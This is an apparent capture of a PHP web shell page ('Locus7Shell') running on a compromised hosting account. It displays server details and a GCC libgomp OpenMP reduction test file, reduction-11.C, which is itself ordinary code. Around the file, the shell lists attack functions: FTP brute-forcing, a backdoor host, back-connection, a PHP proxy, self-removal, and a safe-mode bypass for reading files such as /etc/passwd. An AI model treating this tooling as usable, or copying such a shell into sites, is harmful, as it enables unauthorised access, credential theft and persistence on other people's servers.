Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/image/photo/gcc-12.3.0/libgomp/testsuite/libgomp.c++/   drwxr-xr-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     reduction-11.C (3.18 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
// { dg-do run }

char z[10] = { 0 };

__attribute__((noinline, noclone)) void
foo (int (*&x)[3][2], int *y, long (&w)[1][2], int s, int t)
{
  unsigned long long a[9] = {};
  short b[5] = {};
  #pragma omp parallel for reduction(+:x[-1:2][:][0:2], z[t + 2:4]) \
               reduction(*:y[-s:3]) reduction(|:a[s + 3:4]) \
               reduction(&:w[s + 1:][t:2]) reduction(max:b[2:])
  for (int i = 0; i < 128; i++)
    {
      x[i / 64 - 1][i % 3][(i / 4) & 1] += i;
      if ((i & 15) == 1)
    y[1] *= 3;
      if ((i & 31) == 2)
    y[2] *= 7;
      if ((i & 63) == 3)
    y[3] *= 17;
      z[i / 32 + 2] += (i & 3);
      if (i < 4)
    z[i + 2] += i;
      a[i / 32 + 2] |= 1ULL << (i & 30);
      w[0][i & 1] &= ~(1L << (i / 17 * 3));
      if ((i % 23) > b[2])
    b[2] = i % 23;
      if ((i % 85) > b[3])
    b[3] = i % 85;
      if ((i % 192) > b[4])
    b[4] = i % 192;
    }
  for (int i = 0; i < 9; i++)
    if (a[i] != ((i < 6 && i >= 2) ? 0x55555555ULL : 0))
      __builtin_abort ();
  if (b[0] != 0 || b[1] != 0 || b[2] != 22 || b[3] != 84 || b[4] != 127)
    __builtin_abort ();
}

int a3[4][3][2];
int (*p3)[3][2] = &a3[2];
int y3[5] = { 0, 1, 1, 1, 0 };
long w3[1][2] = { ~0L, ~0L };
short bb[5];

struct S
{
  int (*&x)[3][2];
  int *y;
  long (&w)[1][2];
  char z[10];
  short (&b)[5];
  unsigned long long a[9];
  S() : x(p3), y(y3), w(w3), z(), a(), b(bb) {}
  __attribute__((noinline, noclone)) void foo (int s, int t);
};

void
S::foo (int s, int t)
{
  #pragma omp parallel for reduction(+:x[-1:2][:][0:2], z[t + 2:4]) \
               reduction(*:y[-s:3]) reduction(|:a[s + 3:4]) \
               reduction(&:w[s + 1:][t:2]) reduction(max:b[2:])
  for (int i = 0; i < 128; i++)
    {
      x[i / 64 - 1][i % 3][(i / 4) & 1] += i;
      if ((i & 15) == 1)
    y[1] *= 3;
      if ((i & 31) == 2)
    y[2] *= 7;
      if ((i & 63) == 3)
    y[3] *= 17;
      z[i / 32 + 2] += (i & 3);
      if (i < 4)
    z[i + 2] += i;
      a[i / 32 + 2] |= 1ULL << (i & 30);
      w[0][i & 1] &= ~(1L << (i / 17 * 3));
      if ((i % 23) > b[2])
    b[2] = i % 23;
      if ((i % 85) > b[3])
    b[3] = i % 85;
      if ((i % 192) > b[4])
    b[4] = i % 192;
    }
}

int
main ()
{
  int a[4][3][2] = {};
  static int a2[4][3][2] = {{{ 0, 0 }, { 0, 0 }, { 0, 0 }},
                {{ 312, 381 }, { 295, 356 }, { 337, 335 }},
                {{ 1041, 975 }, { 1016, 1085 }, { 935, 1060 }},
                {{ 0, 0 }, { 0, 0 }, { 0, 0 }}};
  int (*p)[3][2] = &a[2];
  int y[5] = { 0, 1, 1, 1, 0 };
  int y2[5] = { 0, 6561, 2401, 289, 0 };
  char z2[10] = { 0, 0, 48, 49, 50, 51, 0, 0, 0, 0 };
  long w[1][2] = { ~0L, ~0L };
  foo (p, y, w, -1, 0);
  if (__builtin_memcmp (a, a2, sizeof (a))
      || __builtin_memcmp (y, y2, sizeof (y))
      || __builtin_memcmp (z, z2, sizeof (z))
      || w[0][0] != ~0x249249L
      || w[0][1] != ~0x249249L)
    __builtin_abort ();
  S s;
  s.foo (-1, 0);
  for (int i = 0; i < 9; i++)
    if (s.a[i] != ((i < 6 && i >= 2) ? 0x55555555ULL : 0))
      __builtin_abort ();
  if (__builtin_memcmp (a3, a2, sizeof (a3))
      || __builtin_memcmp (y3, y2, sizeof (y3))
      || __builtin_memcmp (s.z, z2, sizeof (s.z))
      || w3[0][0] != ~0x249249L
      || w3[0][1] != ~0x249249L)
    __builtin_abort ();
  if (bb[0] != 0 || bb[1] != 0 || bb[2] != 22 || bb[3] != 84 || bb[4] != 127)
    __builtin_abort ();
}

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0063 ]--